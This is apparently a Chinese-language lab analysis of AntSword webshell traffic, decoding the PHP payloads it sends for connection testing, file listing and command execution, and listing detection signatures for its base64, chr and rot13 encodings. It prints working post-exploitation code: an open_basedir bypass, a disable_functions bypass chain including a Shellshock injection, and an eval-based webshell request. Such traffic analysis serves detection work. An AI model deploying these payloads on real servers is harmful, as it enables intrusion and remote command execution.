前言
参考:
https://www.freebuf.com/articles/web/264896.html
https://forum.butian.net/index.php/share/1996
蚁剑流量
环境
php 一句话 webshell,post 参数为 0
设置蚁剑代理到 yakit 上抓包分析
蚁剑配置编解码器

分析
default 流量
抓取测试连接的数据包:

解码请求体并格式化,分析
// 关闭错误显示,避免暴露信息
@ini_set("display_errors", "0");
// 设置脚本执行时间无限制
@set_time_limit(0);
// 获取PHP的open_basedir限制
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
// 解码base64字符串";|:/",用于分割open_basedir路径
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
// 将当前目录和临时目录添加到数组中
@array_push($oparr, $ocwd, sys_get_temp_dir());
// 遍历所有目录,尝试绕过open_basedir限制
foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue;
};
// 创建临时目录用于测试
$tmdir = $item . "/.e937733bd891";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
$tmdir = realpath($tmdir);
@chdir($tmdir);
// 设置open_basedir为上级目录,尝试绕过限制
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);
// 通过多次chdir("..")回到根目录
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
};
// 成功绕过后设置open_basedir为根目录
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
};
};
// 加密函数(default为空)
function asenc($out)
{
return $out;
};
// 输出函数,用于封装返回数据
function asoutput()
{
$output = ob_get_contents();
ob_end_clean();
// 输出开始标记
echo "ee69b" . "ffbe3";
echo @asenc($output);
// 输出结束标记
echo "d7a1" . "8240";
}
// 开始输出缓冲
ob_start();
try {
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
$R = "{$D} "; // 当前目录
// 检测系统类型和磁盘
if (substr($D, 0, 1) != "/") {
// Windows系统:检测C到Z盘
foreach (range("C", "Z") as $L) if (is_dir("{$L}:")) $R .= "{$L}:";
} else {
// Linux/Unix系统:根目录
$R .= "/";
}
$R .= " "; // 制表符分隔
// 获取当前用户信息
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user();
// 获取操作系统信息
$R .= php_uname();
$R .= " {$s}"; // 用户名
echo $R;;
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
};
// 输出封装后的数据
asoutput();
die();
测试连接的数据包中使用了 $D = dirname($_SERVER["SCRIPT_FILENAME"]); 获取当前目录、使用 php_uname 获取当前操作系统信息、使用 posix_getegid 或 get_current_user 获取当前用户信息
输入到缓冲区再由 $output 变量接收,通过随机字符作为开始结束符定位变量输出位置,当然也可以自己指定字符界定:

base64 流量
请求的流量 url 解码后如下:
@eval(@base64_decode($_POST['ib1723d0358b9']));&ib1723d0358b9=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7JG9wZGlyPUBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTtpZigkb3BkaXIpIHskb2N3ZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JG9wYXJyPXByZWdfc3BsaXQoYmFzZTY0X2RlY29kZSgiTHp0OE9pOD0iKSwkb3BkaXIpO0BhcnJheV9wdXNoKCRvcGFyciwkb2N3ZCxzeXNfZ2V0X3RlbXBfZGlyKCkpO2ZvcmVhY2goJG9wYXJyIGFzICRpdGVtKSB7aWYoIUBpc193cml0YWJsZSgkaXRlbSkpe2NvbnRpbnVlO307JHRtZGlyPSRpdGVtLiIvLmM3OWUyYSI7QG1rZGlyKCR0bWRpcik7aWYoIUBmaWxlX2V4aXN0cygkdG1kaXIpKXtjb250aW51ZTt9JHRtZGlyPXJlYWxwYXRoKCR0bWRpcik7QGNoZGlyKCR0bWRpcik7QGluaV9zZXQoIm9wZW5fYmFzZWRpciIsICIuLiIpOyRjbnRhcnI9QHByZWdfc3BsaXQoIi9cXFxcfFwvLyIsJHRtZGlyKTtmb3IoJGk9MDskaTxzaXplb2YoJGNudGFycik7JGkrKyl7QGNoZGlyKCIuLiIpO307QGluaV9zZXQoIm9wZW5fYmFzZWRpciIsIi8iKTtAcm1kaXIoJHRtZGlyKTticmVhazt9O307O2Z1bmN0aW9uIGFzZW5jKCRvdXQpe3JldHVybiAkb3V0O307ZnVuY3Rpb24gYXNvdXRwdXQoKXskb3V0cHV0PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2VjaG8gIjAwOCIuIjk1NmQiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gImJkMGJkNiIuImU5NzZkMiI7fW9iX3N0YXJ0KCk7dHJ5eyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9CSI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQyIsIloiKWFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9ZWxzZXskUi49Ii8iO30kUi49IgkiOyR1PShmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGVnaWQiKSk/QHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOiIiOyRzPSgkdSk/JHVbIm5hbWUiXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Igl7JHN9IjtlY2hvICRSOzt9Y2F0Y2goRXhjZXB0aW9uICRlKXtlY2hvICJFUlJPUjovLyIuJGUtPmdldE1lc3NhZ2UoKTt9O2Fzb3V0cHV0KCk7ZGllKCk7
base64 部分解码后和 default 一样
可见蚁剑会随机生成一个参数传入 base64 编码后的代码,密码参数的值是通过 POST 获取随机参数的值然后进行 base64 解码后使用 eval 执行
如果把解码器设置为 base64,响应包内容会进行 base64 编码返回

c9a25acf7L3Zhci93d3cvaHRtbAkvCUxpbnV4IDllMjcyYmI1NzQ1OCA2LjEyLjU0LWxpbnV4a2l0ICMxIFNNUCBUdWUgTm92ICA0IDIxOjIxOjQ3IFVUQyAyMDI1IHg4Nl82NAl3d3ctZGF0YQ==52f7ba
可以看到这里的响应包直接 base64 解不开,此时解码一下请求包观察一下加密
function asenc($out)
{
return @base64_encode($out);
};
function asoutput()
{
$output = ob_get_contents();
ob_end_clean();
echo "c9a2" . "5acf7";
echo @asenc($output);
echo "52f" . "7ba";
}
可以看到这里是最简易的 base64_encode,只是输出结果中掺了前面的界定符,删去界定符即可解出正确的输出
L3Zhci93d3cvaHRtbAkvCUxpbnV4IDllMjcyYmI1NzQ1OCA2LjEyLjU0LWxpbnV4a2l0ICMxIFNNUCBUdWUgTm92ICA0IDIxOjIxOjQ3IFVUQyAyMDI1IHg4Nl82NAl3d3ctZGF0YQ==
chr 流量

大小写 + ascii 过 chr 返回字符
rot13 流量
这里编解码均选择 rot13

function asenc($out)
{
return str_rot13($out);
};
function asoutput()
{
$output = ob_get_contents();
ob_end_clean();
echo "487de" . "a8be0";
echo @asenc($output);
echo "5ccf" . "21b31";
}
特征
测试流量中的数据包都是采用 @ini_set 函数开头,在 base64 数据包中它是 QGluaV9zZXQ,在 chr 编码数据包中是 cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116),在 rot13 编码数据包中是 @vav_frg 并且编码后的数据包中都存在 eval 这个敏感函数
功能实现
来都来了,再看看蚁剑的功能实现
文件管理

try {
$D = base64_decode(substr($_POST["p4cb5f917cc47d"], 2));
$F = @opendir($D);
if ($F == NULL) {
echo ("ERROR:// Path Not Found Or No Permission!");
} else {
$M = NULL;
$L = NULL;
while ($N = @readdir($F)) {
$P = $D . $N;
$T = @date("Y-m-d H:i:s", @filemtime($P));
@$E = substr(base_convert(@fileperms($P), 10, 8), -4);
$R = " " . $T . " " . @filesize($P) . " " . $E . "
";
if (@is_dir($P)) $M .= $N . "/" . $R;
else $L .= $N . $R;
}
echo $M . $L;
@closedir($F);
};
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
};
注意这里的 base64_decode(substr($_POST["p4cb5f917cc47d"], 2)),是从第三个字符开始进行 base64 解码的,也就是说对于这里的 IML3Zhci93d3cvaHRtbC8%3D,$D 实际的参数值是 /var/www/html/
webshell 终端
本质上还是利用 php 的命令执行函数,不是一个完整的 shell,只是结果更易读了
在 /var/www/html 下打开终端,执行 ls

try {
// 从POST参数解码命令和参数
$p = base64_decode(substr($_POST["i90659ac15e848"], 2)); // 主命令/程序
$s = base64_decode(substr($_POST["s34a4100eb3bde"], 2)); // 命令参数
$envstr = @base64_decode(substr($_POST["f01dc94a142fc6"], 2)); // 环境变量
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
// 根据操作系统设置不同的命令行参数格式
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
// 设置系统PATH环境变量,确保可以找到常用命令
if (substr($d, 0, 1) == "/") {
// Linux系统:添加常用二进制目录
@putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
// Windows系统:添加系统目录
@putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
// 处理额外的环境变量
if (!empty($envstr)) {
$envarr = explode("|||asline|||", $envstr);
foreach ($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
// 组合完整的命令
$r = "{$p} {$c}";
// 检查函数是否可用(是否被禁用)
function fe($f)
{
$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) {
$d = array();
} else {
$d = array_map('trim', array_map('strtolower', $d));
}
return (function_exists($f) && is_callable($f) && !in_array($f, $d));
};
// 尝试利用Shellshock漏洞执行命令
function runshellshock($d, $c)
{
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
// 利用Shellshock漏洞:通过环境变量注入命令
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
};
// 执行系统命令的多种尝试方法
function runcmd($c)
{
$ret = 0;
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
// 方法1: system()函数
if (fe('system')) {
@system($c, $ret);
}
// 方法2: passthru()函数
elseif (fe('passthru')) {
@passthru($c, $ret);
}
// 方法3: shell_exec()函数
elseif (fe('shell_exec')) {
print(@shell_exec($c));
}
// 方法4: exec()函数
elseif (fe('exec')) {
@exec($c, $o, $ret);
print(join("\n", $o));
}
// 方法5: popen()函数
elseif (fe('popen')) {
$fp = @popen($c, 'r');
while (!@feof($fp)) {
print(@fgets($fp, 2048));
}
@pclose($fp);
}
// 方法6: proc_open()函数
elseif (fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while (!@feof($io[1])) {
print(@fgets($io[1], 2048));
}
while (!@feof($io[2])) {
print(@fgets($io[2], 2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
}
// 方法7: antsystem()函数(某些特定环境)
elseif (fe('antsystem')) {
@antsystem($c);
}
// 方法8: 尝试Shellshock漏洞利用
elseif (runshellshock($d, $c)) {
return $ret;
}
// 方法9: Windows COM组件
elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
$w = new COM('WScript.shell');
$e = $w->exec($c);
$so = $e->StdOut();
$ret .= $so->ReadAll();
$se = $e->StdErr();
$ret .= $se->ReadAll();
print($ret);
}
// 所有方法都失败
else {
$ret = 127; // 返回错误代码
}
return $ret;
};
// 执行命令并捕获输出
$ret = @runcmd($r . " 2>&1"); // 2>&1 将标准错误重定向到标准输出
print ($ret != 0) ? "ret={$ret}" : ""; // 如果返回码不为0,显示错误代码
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
};
同样是参数从第三个字符开始解码
f01dc94a142fc6=S2&i90659ac15e848=o2L2Jpbi9zaA%3D%3D&s34a4100eb3bde=9aY2QgIi92YXIvd3d3L2h0bWwiO2xzO2VjaG8gNjExYzA5YTBkO3B3ZDtlY2hvIGQ0YzhkYzBjNzg%3D
/bin/sh
cd "/var/www/html";ls;echo 611c09a0d;pwd;echo d4c8dc0c78
那么结合脚本,执行的完整命令是:
/bin/sh -c "cd \"/var/www/html\";ls;echo 611c09a0d;pwd;echo d4c8dc0c78"
所以,在蚁剑的终端中使用 " 需要小心,避免出现闭合问题;然后就是经典的随机界定符来输出当前执行的目录